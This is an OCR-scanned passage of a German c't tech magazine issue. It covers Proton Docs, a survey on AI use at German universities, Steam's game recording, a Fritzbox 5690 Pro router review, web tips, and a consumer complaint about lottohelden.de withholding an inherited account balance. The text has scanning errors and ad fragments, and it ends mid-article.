ist Proton Docs in den Cloudspeicher ein-
gebunden, fiir den man zumindest einen
kostenlosen Account benétigt. Das Konto
enthilt zundchst 2 GByte Speicherplatz,
lasst sich aber gratis bis auf 5 GByte auf-
stocken; mit Abo ab rund

Online-Textverarbeitung | Aktuell

den Kompatibilitatsgrad etwas unterhalb
von Google Docs: Nur einfachere Layouts
bleiben weitgehend erhalten. In Proton
Docs bearbeitete Dokumente lassen sich
als TXT-,Markdown-, HTML-oder DOCX-
Datei exportieren. Es gibt eine integrierte
Versionsverwaltung, wobeidie Anzahlund
Aufbewahrungszeit vom gebuchten Abon-
nement abhangt. (swi@ct.de)

vier Euro pro Monat gibt es
deutlich mehr. Bei mehre-
ren Bearbeitern bendtigt
jeder ein Proton-Konto.
Aus der Weboberflache von
Proton Drive 6ffnet man
zuvor dorthin hochgelade-
ne Dokumente oder legt
neue an. Der Hersteller
verspricht Kompatibilitit

Ea ot Mlovmert 1 s
ety v Zeiburigen, abes &

zum DOCX-Format von
Microsoft Word. Eine
kurze Stichprobe verortet
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Die Psychologie der Security

Was geht bei “Kl und Security” wirklich?

seaw
..'........................

"R Ee
l-.....I............-....'.'.

Proton Docs ist eine Textverarbeitung im Browser,
ahnlich Google Docs und Word Online, jedoch mit
automatischer Ende-zu-Ende-Verschliisselung.

3
Jetzt Tickets sichern: security-tour.heise.de @#E%
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Aktuell | Kl an Hochschulen

Vorsichtige Annaherung

Kl in Studium und Lehre

Viele Hochschulleitungen
setzen sich mit Kl auseinander.
Sehr oft liegt der Fokus dabei
auf Priifungen und akademi-
schem Fehlverhalten. Zu diesem
Schluss kommt eine aktuelle
Veroffentlichung des Hoch-
schulforums Digitalisierung.

Von Dorothee Wiegand

Fiir den Bericht mit dem Titel ,,Blick-
punkt Kiinstliche Intelligenz - Wo ste-
hen die deutschen Hochschulen?* analy-
sierte ein Team vom Hochschulforum
Digitalisierung (HFD) Daten einer Um-
frage, die zwischen November 2023 und
Mirz 2024 an deutschen Hochschulen
stattfand. Demnach setzen sich zwar die
meisten Hochschulleitungen mit KI aus-
einander (87 %), allerdingsliegt der Fokus
dabei auf Priifungen und akademischem
Fehlverhalten (80 %). Weit weniger Ver-
antwortliche diskutieren iiber Daten-
schutz (54 %), die Vorbereitung der Stu-
denten auf eine KI-geprigte Arbeitswelt
(43 %) oder Chancengerechtigkeit beim
Zugang zur KI (19 %).

Knapp die Hailfte der befragten Stu-
denten gab an, KI im Studium zu nutzen,
vor allem zur Priifungsvorbereitung, fiir
Prasentationen und schriftliche Arbeiten.
Da erst 30 Prozent der Hochschulen Li-
zenzen fiir KI-Tools erworben haben, ver-
muten die Autoren, dass Studenten die
Tools haufig privat besorgen. Veranstal-
tungen, die KI-Kompetenzen vermitteln,
sind laut der Umfrage noch die Ausnahme.
Fast 40 Prozent der Studenten sahen sich
allerdings gar nicht in der Lage, zur Frage
der Vermittlung von KI-Kompetenzen eine
Aussage zu treffen.

Die Befragung der Hochschullehr-
krafte ergab, dass gut die Hélfte (54 %)
KI-Tools in irgendeiner Form im Rahmen
ihrer Lehrtétigkeiten nutzen. Dabei tiber-
wiegen allerdings Routineaufgaben. Nur
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knapp ein Fiinftel der Befragten (19 %) gab
an, KI-Tools in der konkreten Lehrsitua-
tion einzusetzen. Das Vorbereiten der Stu-
denten auf eine KI-geprigte Arbeitswelt
(4%) und die Frage nach einem gerechten
Zugang zu KI-Technik fiir alle (3 %) be-
schaftigt demnach nur wenige Lehrkrifte.
Nicht einmal jeder Dritte (29 %) gab an,
sich zum Einsatz von KI in der Lehre fort-
gebildet zu haben.

Handlungsbedarf

Aus den Umfrageergebnissen leiten die
Autoren fiinf Handlungsempfehlungen
ab. Die erste zielt darauf, dass Studenten
in allen Studiengidngen zumindest Basis-
kompetenzen im Umgang mit Kl erlernen.
Dazusollen Hochschulen die Leiter simt-
licher Fachbereiche beauftragen, den Er-
werb von KI-Kompetenz in jhren Studien-
plinen zu verankern. Im Hinblick auf
Priifungen sollten die Studiengange das
Entweder-oder-Denken hinter sich lassen,
das zum unreglementierten Einsatz oder
zum kompletten Verbot von KI-Tools in
Priifungen fiihrt. Ziel sei ein ,,durchdach-
tes Portfolio [...], das mit unterschiedli-
chen Priifungsformaten die entsprechen-
den Lernziele adressiert®.

Drittens fordern die Autoren Hoch-
schulen dazu auf, fiir ihr Personal KI-Wei-
terbildungen anzubieten, vor allem aber

Hochschulforum
Digitalisierung

die dafiir notigen zeitlichen Freiraume zu
schaffen. Die vierte Empfehlung gilt dem
gerechten und datenschutzkonformen Zu-
gang zu KI-Tools fiir alle Studenten, un-
abhingig von ihren finanziellen Verhalt-
nissen. Dazu sollten Hochschulen Sam-
mellizenzen fiir kostenpflichtige KI-Tools
kaufen. Die vielfiltigen neuen Herausfor-
derungen durch kiinstliche Intelligenz
konnen Hochschulen nach Ansicht der
Autoren am besten gemeinsam meistern.
Die fiinfte Empfehlung lautet daher, dass
Bildungseinrichtungen untereinander
einen offenen, kritischen Diskurs fithren.

Fokus auf KI

Der Bericht mit Fokus auf der KI-Nutzung
ist eine Sonderauswertung der vom HFD
regelmaflig erhobenen Daten und gibt
einen Ausblick auf dessen diesjahrigen
»Monitor Digitalisierung 360°. Fiir diese
alle zwei Jahre veroffentlichte Bestandsauf-
nahme zum generellen Stand der Digitali-
sierung an deutschen Hochschulen befra-
gen Mitarbeiter des HFD Hochschulleitun-
gen, Support-Mitarbeiter, Hochschullehrer
und Studenten aus ausgewahlten Fachrich-
tungen. Die vollstindige Auswertung will
das HFD im Herbst 2024 veroffentlichen.

(dwi@ct.de) ct

Studie (PDF): ct.de/y9nj

BLICKPUNKT

Kiinstliche Intelligenz
Wo stehen die deutschen

Fiir den Bericht zum KI-Einsatz an deutschen Hochschulen befragten
Wissenschaftler des Hochschulforums Digitalisierung Lehrkrifte,
Studenten, Support-Mitarbeiter und Hochschulleitungen.
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Spiele direkt aufnehmen mit Steam

Valve hat eine Aufnahmefunktion in
die Betaversion seines Steam-Clients
eingebaut. Damit zeichnet der Spiele-
Launcher ein Spiel im Hintergrund
oder bei Bedarf auf.

Zum Mitschneiden eines Steam-Spiels ist
nicht linger eine separate Screenrecor-
ding-Software notig, Valve hat die Funk-
tion in den Steam-Client integriert. Die
»Spielaufnahme” steckt bereits in der Be-
taversion des Clients. Beim Aktivieren
steht zur Wahl, beim Starten eines Spiels
automatisch im Hintergrund aufzuneh-
men oder die Aufnahme manuell zu star-
ten und zu stoppen. Die Spielaufnahme
funktioniert auch auf dem Steam Deck
und ldsst sich da bequem mit den Control-
lertasten steuern.

Die Videoclips findet
man anschliefend im
Steam-Overlay oder auf
der Detailseite eines Spiels
in der Steam-Bibliothek,
wo schon bisher die
Screenshots sind. Aktuell
muss man sich noch ent-
scheiden: Entweder Hin-
tergrundaufnahme oder
Screenshot-Funktion, bei-
des zusammen klappt bis-
hernicht. Die gespeicherte
Aufnahme ldsst sich in
Steam in einem Fenster

Digitale Barrierefreiheit - lhre Experten!

Barrierefreiheitsstarkungsgesetz! JETZT handeln!

BITV und BFSG-Tests, Schulung, Beratung,
Hands-on Sessions mit Entwicklern.

> 350 durchgefiihrte Tests & Gutachten
> 6500 Stunden durchgefiihrte Schulungen

TWINCUBES

offnen, Anfang und Ende eines Clips fest- :
legen und das Video auf Steam speichern, :
als Videodatei exportieren oder ans :
Smartphone oder einen PC im Netzwerk :

schicken.

Besonders praktisch ist die Hinter- :
grundaufnahme, um witzige Momente im :
Nachhinein als Clip zu exportieren. Per :
Tastendruck markiert man wahrend des :
Spielens solche Stellen. Steam speichert :
nur die letzten 120 Minuten, die dann suk- :
zessive {iberschrieben werden. Inden Ein- :
stellungen kann man die Tastenkiirzel,
Aufnahmequalitit und den Speicherort :
(Imd@ct.de) :

anpassen.

Steam-Seite & Spielevideo: ct.de/yIn7

Der Steam-Client bringt in der Betaversion eine neue
Funktion zur Aufnahme des Spielgeschehens mit.

ISTOB

International Software
Testing Qualifications Board

Spiele | Aktuell

Kurz & knapp

SUMMERROUSE

=

Neu bei c't zockt: In unserem Indie-Ga-
ming-Kanal auf YouTube haben wir
Summerhouse angespielt (Video siehe
ct.de/yIn7). In dem entspannten, mini-
malistischen Aufbauspiel baut man
ohne Zeitdruck und Highscore kleine
2D-Siedlungen in vier verschiedene
Landschaften.

Das 2020 erschienene Aufbaustrate-
giespiel Factorio erhilt eine kosten-
pflichtige Erweiterung mit flinf neuen
Planeten. Das DLC ,Factorio: Space
Age” soll 35 US-Dollar kosten und den
Umfang des Spiels enorm erweitern.
Erscheinen soll es am 21. Oktober 2024.

Das Fabrikaufbaustrategiespiel Satis-
factory soll am 10. September 2024
nach gut vier Jahren Early Access fer-
tig werden. Der humorvolle Trailer
stellt spllbare Toiletten in Aussicht.

TWIN CUBES GmbH

www.twin-cubes.com

info@twin-cubes.com
070428143590




Test & Beratung | WLAN-Router fiir DSL und Glasfaser

Doppelkopf

AVMs erster Router mit DSL- und
Glasfasermodem: Fritzbox 5690 Pro

Mit der Fritzbox 5690 Pro setzt
AVM den Umstieg seiner Router
auf das moderne Wi-Fi-7-WLAN
fort und zieht schon mit dem
Beinamen ,,Pro” viel Aufmerk-
samkeit auf sich. Im Test zeigt
sich: In einigen Punkten erfiillt
sie die Erwartungen nicht. Aber
sie hat Wumms.

Von Dusan Zivadinovié und Ernst Ahlers

D ieneue 5690 Pro positioniert AVM als
Umstiegsrouter fiir DSL-Nutzer, die
bald auf die Glasfaser aufriisten wollen,
und als Wi-Fi-7-Zentrale mit Smart-Home-
Funktionen. Sie steht aufrecht in einem
gefilligen weif3-roten Gehduse und pri-
sentiert an der Front Status-LEDs fiir die
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Telefonie,das WLAN sowie die Stromver-
sorgung und den Internetzugang. Das
WLAN lésst sich mit einer an der Ober-
seite angebrachten Taste ein- und aus-
schalten. WLAN-, Mesh-, DECT- und
Smart-Home-Clients bindet man mit der
Connect-Taste daneben ein.

Auf der Riickseite sind alle im Heim-
bereich gangigen Anschliisse angebracht
(siehe Tabelle). Darunter stechen der
Schacht fiir Glasfasermodule und ein
schneller Kombi-Port fiir WAN- oder LAN-
Betrieb hervor, der 2,5 Gigabit/s befordert.
WLAN-seitig funkt der Router im 2,4-, 5-
und 6-GHz-Band (max. vier Streams).
Dazu kommen der Schnurlosfunk DECT
ULE im 1900-MHz-Band fiir Telefonie
und Smart-Home gemafd HAN-FUN und
die zusatzliche Smart-Home-Technik Zig-
bee im 2,4-GHz-Band.

Das eingebaute DSL-Modem eignet
sich fiir Kupferleitungen mit iiblichen
DSL-Spielarten (max. 300 Mbit/s). Uber

den Optikschacht nimmt die Box wahl-
weise ein AON- oder ein GPON-Glasfa-
sermodul auf; er ist bisher nur fiir den
Internetzugang, nicht aber fiir den LAN-
Betrieb ausgelegt. AVM legt je ein solches
Modul bei (max. 1 Gbit/s beziechungsweise
max. 2,5 Gbit/s).

Den Schacht bezeichnet AVM als
,»SFP“, obwohl SFP nur 1 Gbit/s befordert.
Da darin auch ein GPON-Modul funktio-
niert, das bis zu 2,5 Gbit/s liefert, diirfte
eseher ein SFP+-Schacht sein. Der Router
kann die beiden Modems nicht fiir den
Internetzugang biindeln (Loadbalancing)
und auch nicht ersatzweise anschalten,
wenn die Hauptleitung ausfillt (Fallback).
Immerhin geht Fallback mit einem optio-
nalen USB-Mobilfunk-Stick.

Die Smart-Home-Funktionen ent-
sprechen denen der Fritzbox 6670 Cable
und der DSL-Box 7690. Darin stecken wie
beim ilteren Fritzsmart Gateway eine
DECT-ULE-Station und ein Zigbee-Hub.
Mit Zigbee wuchs das Angebot an Smart-
Home-Geraten fiir die Fritzbox schnell an.
Man kann nun etliche Leuchtmittel, Steck-
dosen, Sensoren und vieles mehr per Zig-
bee einbinden.

Die Router-Einrichtung lauft im
Browser, der tibliche Assistent fithrt durch
die wichtigen Konfigurationen und am
Ende koppelt die Box das Heimnetz ans
Internet. Dann sind auch zwei der vielen
neuen Wi-Fi-7-Funktionen aktiv: Enhan-
ced Multi-Link Single Radio und Multi-
Link Multi-Radio (EMLSR und MLMR,
siehe ct.de/yjft).

Mit EMLSR halten Wi-Fi-7-Clients in
zweioder mehr Funkbéndern gleichzeitig
logische Verbindungen und schicken
Daten dynamisch tiber den besten Link.
Das senkt die Latenz, weil mehr Sende-
gelegenheiten als beinur einem Band ent-
stehen, und es erhoht die Verbindungs-
stabilitdt. Mit MLMR senden Wi-Fi-7-
Clients gleichzeitig in mehreren Bindern.

Wi-Fi 6,66
Fiir die Wi-Fi-7-Funktion MLMR fehlen
noch geeignete Mobilgerite. Und EMLSR
niitzt nur, wenn der Wi-Fi-7-Client zumin-
destauf5und 6 GHzkommuniziert,denn
die Pro-Box funkt im 2,4-GHz-Band nur
gemifd Wi-Fi 6. Dabei stellt AVM oben auf
der Verpackung ,Wi-Fi 7“ und ,,Triband“
direkt iibereinander und suggeriert damit
mehr, als die Box halt.

AVM verteidigt seine 2,4-GHz-Ausle-
gung: Die 5- und 6-GHz-Biander ,tragen
iiberwiegend zur WLAN-Leistung des
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Routers bei“ und das 2,4-GHz-Band sei
vergleichsweise schmal und oft ,,mit Le-
gacy-Geriten stark ausgelastet”. Ein zu-
satzlicher Beitrag von Wi-Fi 7 wire im
2,4-GHz-Band ,.eher geringfiigig“; bezo-
gen auf die maximale Summendatenrate
von brutto 18,49 GBit/s kimen mit 2,4
GHz ,,nur 1,3 Prozent* hinzu.

Dagegen kann man einwenden: Fiir
Wi-Fi 7 stehen 1440 Mbit/s weniger zur
Verfiigung als moglich, denn das Wi-Fi-
6-Modul fiir 2,4 GHz zahlt ja nicht auf die
MLO-Funktionen EMLSR und MLMR ein.
Sobleibenim 2,4-GHz-Band hohere Reich-
weite und geringere Storanfalligkeit durch
Wi-Fi-7-Verbesserungen ungenutzt.

Durchsatz satt

Die 5690 Pro hat sich in Messungen gut
geschlagen und hangt beispielsweise die
nur drei Jahre alte 7590 AX deutlich ab.
Der WLAN-Durchsatz erreichte selbst
unter ungiinstigen Bedingungen mindes-
tens 70 bis 180 Mbit/s (schmales 2,4-GHz-
Band, grofe Distanz) und kletterte bei
guten Bedingungen bis auf 1900 Mbit/s
(breites 6-GHz-Band, kurze Distanz, siche
Tabelle).

Bemerkenswert: Im 6-GHz-Band
waren oft kurze Spitzenwerte von 2,5
Gbit/s zu sehen. Offensichtlich bremst der
2G5-LAN-Port der 5690 Pro die Ubertra-
gung vom WLAN zum LAN. An der Mess-
gegenstelle liegt's nicht, denn das dafiir
verwendete Wi-Fi-7-Notebook erzielt mit
Netgears Wi-Fi-7-Meshkit bis zu 4,4 Gbit/s
(siche c’'t16/2024, S. 90).

BeiIPSec-VPN-Verbindungen soll die
neue Box ,,rund doppelt so schnell“ sein
wie das Modell 7590 AX, erklart AVM; mit
WireGuard seienimmerhin,,,bis zu 20 Pro-
zent“ mehrzu erwarten. Inunseren IPSec-
Messungen iiber PPPoE-Verbindungen
beférderte die 5690 Pro bis zu 890 Mbit/s,
iiber DHCP minimal weniger (bis zu 870
Mbit/s). Der WireGuard-Peer erreichte im
DHCP-Betrieb dhnliche Werte. Die gleich-
falls frische 7690 erzielte etwas mehr (915
bis 1006 Mbit/s, siehe ct.de/yjft). AVM
gibt fiir die 5690 Pro in seinem eigenen
Messszenario bei WireGuard bis zu 1480
Mbits/s an, bei IPsec bis zu 1790 Mbit/s.

WireGuard-Messungen tiber PPPoE
bleiben wir schuldig, weil sich die 5690
Proweigerte, den Tunnel zu halten, wenn
der PPPoE-Server wie in unserem Mess-
aufbau keinen Zugang zum Internet ver-
mittelt. Andere Fritzboxen haben damit
kein Problem. Mdglicherweise behebt
AVM diese und andere kleine Macken

c't 2024, Heft 17

WLAN-Router fiir DSL und Glasfaser | Test & Beratung

bald, denn im Test lief die 5690 Pro mit
der FritzOS-Beta-Version 7.61-114267, an
der die Berliner noch tiifteln.

Bei NAS-Messungen machte die Box
eine gute Figurund lieferte Werte zwischen
90 und 140 MByte/s beim Transfer grofer
Dateien. Die Fritzbox 7690 kommt in die-
ser Disziplin nicht tiber 35 MByte/s hinaus,
weil ihr AVM nur den veralteten USB-2.0-
Port gewdhrt hat. Der maximale NAT-
Durchsatzliefs sich in unserem Messaufbau
nicht ermitteln, weil sich die beigelegten
Optikmodule der 5690 Pro mit unserem
internen Glasfaseranschluss nicht verbin-
den mochten. Auch funktionierte in der
5690 Pro keines der tiblichen Module aus
unserem Sortiment. Wir gehen davon aus,
dass der NAT-Durchsatz auf dem Niveau
der 7690 liegt, die so wie die 5690 Pro
einen Qualcomm-Chipsatz enthalt.

Randnotiz: Uber den Glasfaseran-
schluss erreicht die Box leicht kiirzere La-
tenzen als via DSL - 2,55 Millisekunden
gegentiber 5,32 per IPv4-Protokollund 2,68
Millisekunden gegeniiber 5,55 via IPv6 zum
ersten Hop beim Provider. Beide Anschliis-
se gehoren zum Deutsche-Telekom-Netz
und liefern nominell 250 Mbit/s.

Fritz!Box 5690 Pro

Unter den diver-
sen Schnittstel-
len stechen der
Optikschacht
(links) und der
Kombiport WAN/
LAN (blau) mit
2,5 Gigabit-
Ethernet hervor.

Fazit

Die Fritzbox 5690 Pro kommt gut aus den
Startlochern, erreicht dhnlich gute Werte
wie andere Wi-Fi-7-Router und iiberzeugt
mit tibersichtlicher Bedienung. Doch sie
hinktim 2,4-GHz-Band auf dem Wi-Fi-6-
Bein hinterher und fiir Fallback-Zwecke
braucht man einen USB-Mobilfunkstick.
Im Vergleich zur dhnlich frischen
Fritzbox 7690, die liber ein externes
Modem auch an Glasfaseranschliissen
lauft, schneidet die 5690 Pro teils schlech-
ter, teils besser ab: Die 7690 hat ihr den
zweiten 2G5-Ethernet-Port voraus und
kostet rund 40 Euro weniger. Anderer-
seits: Die Pro-Box deckt auch das 6-GHz-
WLAN-Band ab, hat USB 3.2 Gen 1 gegen-
iiber lahmem USB 2.0 und obendrein
einen wertvollen Optikschacht. Der ver-
weigert zwar bisher 10GBase-T-Module,
mit der die Pro-Box etwa als Access-Point
in 10GE-LANs funken konnte. Aber das
und anderes mehr konnte ein kiinftiges
FritzOS bringen. Fiir den Sprung von DSL
auf Glasfaser ist die Fritzbox 5690 Pro
allemal gut bestiickt. (dz@ct.de) &

MLO-Infos, Test Fritzbox 7690: ct.de/yjft

WLAN-Router fiir DSL und Glasfaser

Hersteller, URL
WLAN (MIMO-Streams)

AVM, www.avm.de

Wi-Fi 6 (4) und 2 X Wi-Fi 7 (4), IEEE 802.11ax-1200 (2,4 GHz), 802.11be-5760 + 802.11be-11520

(5 + 6 GHz), WPA2/3, DFS, MLO (nur 5 und 6 GHz: EMLSR, MLMR)

Bedienelemente

2 Tasten, mehrfach belegt (WLAN, Fon/DECT, Connect/WPS),

4 Leuchten (Power/Internet, WLAN, Fon/DECT, Connect/WPS, Info)

Schnittstellen

Optikschacht (SFP+), DSL (RJ45, Supervectoring 35b), LAN/WAN: 1 X 2G5-Ethernet,

4 x 1G-Ethernet, Telefone: RJ11, TAE, USB 3.2 Gen 1 (5 Gbit/s)

Fritz0S 7.61-114267 Beta
e

getestete Firmware
NAT-Perf. PPPoE/DHCP
VPN (PPPoE, DHCP)

IPsec: 890 und 870 Mbit/s, WireGuard: -* und 900 Mbit/s

Ethernet-WAN: 13,9 W (31,2 VA), DSL: 14,8 W (31,6 VA), Glasfaser (GPON): 15,5 W (34,7 VA)

WLAN? 2,4 GHz nah / 20m 345/ 73-178 Mbit/s

5GHznah /20 m 1406 / 137-356 Mbit/s

6 GHz nah / 20 m 1888 / 143-313 Mbit/s

Leistungsaufnahme®

jéhrliche Stromkosten® Ethernet-WAN: 49 €, DSL: 52 €, Glasfaser: 54 €
Preis 369 €

! nicht messbar (s. Text)

2 gegen Intel BE200 (Treiber 23.50) in Dell XPS 13 (9340)

3 idle bei Dauerbetrieb und 40 Cent/kWh, 1 LAN-Host
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Aktuell | Web-Tipps

Deine Sprache verrat
Deine Herkunft

tagesanzeiger.ch/dialekt-test-wir-wissen-woher-sie-
stammen-jetzt-noch-genauer-205060715129

?"1‘2‘-"'”“?3:

Recklinghausen

Wie bezeichnen Sie
Fufdball spielen, wenn
Sie sich mitjemandem
aus Threr Heimat un-
2 terhalten: Bibbeln,
bolzen, Fufdball spie-
len, fudballen, kicken,
pohlen, schutten oder
tschutten? Wie nen-
nen Sie Fleischball-
chen, das Ende des
Brots und eine Stein-
schleuder? Lediglich
24 solcher Fragen zum
Wortschatz geniigen
dem Online-Dialekt-Test des Schweizer Tagesanzeigers. Dann
schitzt er anhand der Antworten, aus welcher Stadt man mit
der hochsten Wahrscheinlichkeit und aus welcher man mit der
geringsten Wahrscheinlichkeit stammt. Bei Stichproben in der
Redaktion traf der Test mehrfach ins Schwarze - beeindru-
ckend. (jo@ct.de)

Pamhagen

Riuickblick in die Zukunft

archive.org/search?query=title%3A%28amazing+
stories%29+AND+collection%3A%28pulpmagazine
archive%29

pulpmags.org

Mit dem Hugo Award zeichnet die World Science Fiction So-
cietyjedes Jahr die besten Science-Fiction- und Fantasy-Werke
des Vorjahres aus. Der Preis ist nach Hugo Gernsback benannt,
derim April 1926 die erste Ausgabe des Science-Fiction-Maga-
zins Amazing Stories herausbrachte -lange Jahre das einfluss-
reichste Magazin des Genres. Zwar gab es mitunter ldngere
Unterbrechungen und auch Namensdnderungen, doch Ama-
zing Stories erscheint auch heute noch. Wer sich einen Uber-
blick dariiber verschaffen will, wie sich Schriftsteller frither die
Zukunft ausgemalt haben, findet im ,,Internet Archive Hun-
derte alter Ausgaben.

Und wer nach einem Blick in Amazing Stories Lust auf mehr
solcher aufbilligem Papier produzierter Pulp Fiction bekommt,
der sollte mal einen
Blick auf die Website
des Pulp Magazines
Project werfen. Die
Macher haben es
sich zur Aufgabe ge-
setzt, diese Literatur-
gattung, die zu den
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einflussreichsten kiinstlerischen Formen des 20. Jahrhunderts
gehort, zu dokumentieren. Besucher finden Portrits und archi-
vierte Ausgaben Dutzender Magazine sowie Biografien von
Pulp-Autoren, Kiinstlern und ihren Verlegern. (jo@ct.de)

Abgriinde aus der
Forschung

phdcomics.com

Bl i i
2 bn

Das Leben an der
Uni hat seine
Hohen und Tiefen.
Die PhD Comics
werfen einen Blick
in die Tiefen. Die
kurzen Comicstrei-
fen zeigen pointier-
te Szenen aus dem Alltag von Nachwuchsforschern, sei es das
verzweifelte Schreiben der Doktorarbeit oder der zermiirbende
Kampf mit dem eigenen Betreuer. Auf der Website kann man
sich entweder der Reihe nach durch die tiber 2000 Comics
klicken oder sich etwa die Top-200 anschauen. Besonderes
Feature:der Emergency-Button. Beim Klick 6ffnet sich ein Do-
kument, das auf den ersten Blick aussieht wie ein wissenschaft-
liches Paper - falls pl6tzlich die Professorin hinter einem steht.
(spa@ct.de)

Virtuelle Luftpolsterfolie

onemillioncheckboxes.com

Eine Million Check-
WL boxen-mehr beno-
tigt eine Website
- nicht, um viral zu

= L]
HEHGOSOS L

e ke man
i 1e sasazaaases sua s ssass ie_ ein leeres Feld an,

erscheint ein wei-
3er Haken auf blauem Grund. Beim Klick auf den Haken leert
sich das Feld. Der Clou: Alle Websitebesucher konnen die Fel-
der anklicken. Ein Feld, das man selbst gerade abgehakt hat,
wird womdglich von einem anderen Spieler in den USA wieder
geleert. Das war's - ein Spielziel gibt es nicht.

So entsteht ein funkelndes Spielfeld, das stindig in Bewe-
gung ist. Ahnlich wie das Knacken von Luftpolsterfolie ver-
schafft es Befriedigung, Hikchen zu setzten und Liicken zu
filllen. Die Dauerbeschéftigung ist so erfolgreich, dass Spiele-
entwickler Nolen Royalty Probleme hat, seinen Server am Lau-
fen zu halten. (spa@ct.de)

Diese Seite mit klickbaren Links: ct.de/yad1
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Vorsicht, Kunde | Online-Erbe

Unglucksritter

Lottohelden.de will vererbtes Guthaben behalten

Zum Erbe gehoren ohne Zweifel
auch samtliche Guthaben, die
der Erblasser bei Dritten hat.
Der Gliicksspielbetreiber lotto-
helden.de verweigert trotzdem
die Auszahlung - mit fragwiirdi-
gen Argumenten.

Von Tim Gerber
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eit dem Tod seines Vaters im Dezem-

ber 2022 betreut Jochen B. unter an-
derem das frithere E-Mail-Konto des Ver-
storbenen, um etwa noch eingehende E-
Mails lesen zu konnen. Am 17. Mai trudel-
te eine Nachricht folgenden Inhalts im
Postfach des Vaters ein:

»Hallo Volker B., wussten Sie, dass Sie
noch 75,05 Euro Guthaben auf Threm Kun-
denkonto haben? Warum nicht einfach fiir
den heutigen EuroJackpot nutzen? Der ist
mit 63 Mio. Euro namlich prall gefillt.”
Die Nachricht stammte von dem Lotterie-
anbieter lottohelden.de. Allerdings hatte
Jochen B. nicht vor, Geld mit Gliicksspiel

zuverplempern, zumal alleinige Erbin sei-
nes Vaters seine Mutter war. Deshalb woll-
te er das Guthaben beiden Lottohelden zu
ihren Gunsten auflosen.

Dazu meldete er sich zunichst mit
den Zugangsdaten des Vaters auf der
Webseite an, um das Geld abzurufen.
Doch dies gelang ihm nicht, da das hinter-
legte Referenzkonto des Vaters inzwi-
schen aufgeldst war. Deshalb schrieb er
den Kundensupport an und bat um Uber-
weisung des Guthabens auf das Konto
seiner Mutter.

Die Reaktion liefd nicht lange auf sich
warten: Noch am selben Tag schrieb ihm
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Melina von lottohelden.de ,,mit gliickli-
chen Griien", dass Gewinne leider nicht
iibertragbar seien. Jochen B. traute seinen
Augen kaum und fragte deshalb nach: Er
hoffe, die Nachricht falsch verstanden zu
haben. ,Wollen Sie damit andeuten, dass
die rund 75 Euro Guthaben auf dem Konto
meines verstorbenen Vaters zu Ihren
Gunsten verfallen?“, fragte er und bat
darum ihm mitzuteilen, auf welcher recht-
lichen oder vertraglichen Grundlage diese
Entscheidung beruhe.

Nicht libertragbar

Nun verwies Melina auf die AGB der Lot-
tohelden, in deren Nummer 2.7 es heifdt:
»Der Spieler ist weder zum Verkauf noch
zum Ubertrag noch zur Uberlassung sei-
nes Spielerkontos an Dritte noch zur Ver-
wendung oder dem Erwerb der Spieler-
konten Dritter berechtigt.“ Das sei hier
nicht zutreffend, antwortete Jochen B.
postwendend. Sein Vater habe schlieflich
nichts iibertragen, sondern seine Mutter
sei Alleinerbin unter anderem des Gutha-
bens bei den Lottohelden und er bitte
nochmals um Auszahlung aufihr Konto.

Doch nun erhielt er nur noch die ste-
reotype Antwort, Kundenkonten und Ge-
winne seinen nicht ibertragbar. Am Tag
darauf wandte sich Jochen B. als langjah-
riger Leser an ¢’t und schilderte uns den
Fall. Wir fanden das Vorgehen der Lotto-
helden ebenfalls merkwiirdig und recher-
chierten zuniachst, wer sich hinter der
Domain verbirgt. Laut Impressum handelt
es sich um die Deutsche Lotto- und Toto-
Agentur Ltd. mit Sitz auf Malta. Solche
Konstrukte, bei denen Kunden es schwer
haben diirften, im Zweifel Auszahlungen
rechtlich durchzusetzen, sind das Ergebnis
einer Entscheidung des Europiischen Ge-
richtshofs, durch die das zuvor in Deutsch-
land geltende staatliche Gliicksspielmo-
nopol zu Fall gebracht wurde.

Spezielle Kontaktmoglichkeiten fiir
Presseanfragen gibt es bei dieser ,,Deut-
schen” Lottoagentur auch nicht. Wir ver-
suchten trotzdem unser Gliick und fragten
am 24. Juni unter der allgemeinen Service-
Adresse an, ob das Unternehmen tatséach-
lich Auszahlungen von Guthaben an Erben
des Nutzers ausschliefle und wie es dies
begriinde. Auflerdem wollten wir wissen,
was Nutzer von lottohelden.de und ande-
ren Plattformen des Unternehmens tun
konnten, um einen Verlust von Guthaben
und Gewinnen bei eigenem Ableben und
Eintritt des Erbfalles zu verhindern.
SchlieRlich war in den Mails von ,,Melina“
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zu lesen, dass auch Gewinne nicht an
Erben ausgezahlt wiirden. Wenn also je-
mand den Jackpot knackt und verstirbt,
bevor er den Gewinn abgerufen hat, dann
wiirden die Erben leer ausgehen. Dass
man bei derartigen Firmen ohnehin nicht
weif3, ob sie versprochene Millionenge-
winne jemals auszahlen, steht auf einem
anderen Blatt.

Schmutzige Geldwasche

Am folgenden Tag erhielten wir eine Ant-
wort des Anbieters: Bei dem benannten
Betrag von 75,05 Euro handele es sichum
ein Guthaben aus einer Einzahlung vom
8.11.2022, welches zweckgebunden sei
und das man geméifl den Auflagen als
Gliicksspielanbieter entsprechend dem
Geldwischegesetz (GwG) nicht wieder
auszahlen diirfe. Es konne zweckgebun-
den zum Beispiel flir den Kauf
eines Spielscheins verwendet
werden.

Im Gegensatz dazu konnten
Kunden iiber Guthaben aus Ge-
winnen jederzeit verfiigen, hief3
es weiter. Sie unterldgen folglich
auch der Erbfolge. Obwohl im Fall
von Jochen B. kein Nachweis der
Erbfolge vorliege, werde man nach
Riicksprache mit der Compliance-
Abteilung den Betrag zuriickiiberweisen.

Nach einem Nachweis war Jochen B.
nie gefragt worden. Die Antwort stand
zudem im Widerspruch zu den AGB,
denen zufolge sich Jochen B.jaunberech-
tigt Zugang zum Nutzerkonto seines ver-

Service im Visier

Immer wieder bekommen wir E-Mails, in
denen sich Leser lber schlechten Ser-
vice, ungerechte Garantiebedingungen
und Uberzogene Reparaturpreise bekla-
gen. Ein gewisser Teil dieser Beschwer-
den ist offenbar unberechtigt, weil die
Kunden etwas liberzogene Vorstellungen
haben. Vieles entpuppt sich bei genau-
erer Analyse auch als alltdgliches Verhal-
ten von allzu scharf kalkulierenden Fir-
men in der IT-Branche.

Manchmal erreichen uns aber auch
Schilderungen von geradezu haarstrau-
benden Fallen, die deutlich machen, wie
einige Firmen mit ihren Kunden um-
springen. In unserer Rubrik ,Vorsicht,

Online-Erbe | Vorsicht, Kunde

storbenen Vaters verschafft hatte. Woll-
ten die Lottohelden noch bestehende
Guthaben aus Einzahlungen Verstorbe-
ner etwa doch behalten, wie es der bis-
herige Schriftwechsel mit Jochen B. nahe-
legte?

Inaktiv

Nun verwiesen die Lottohelden in einer
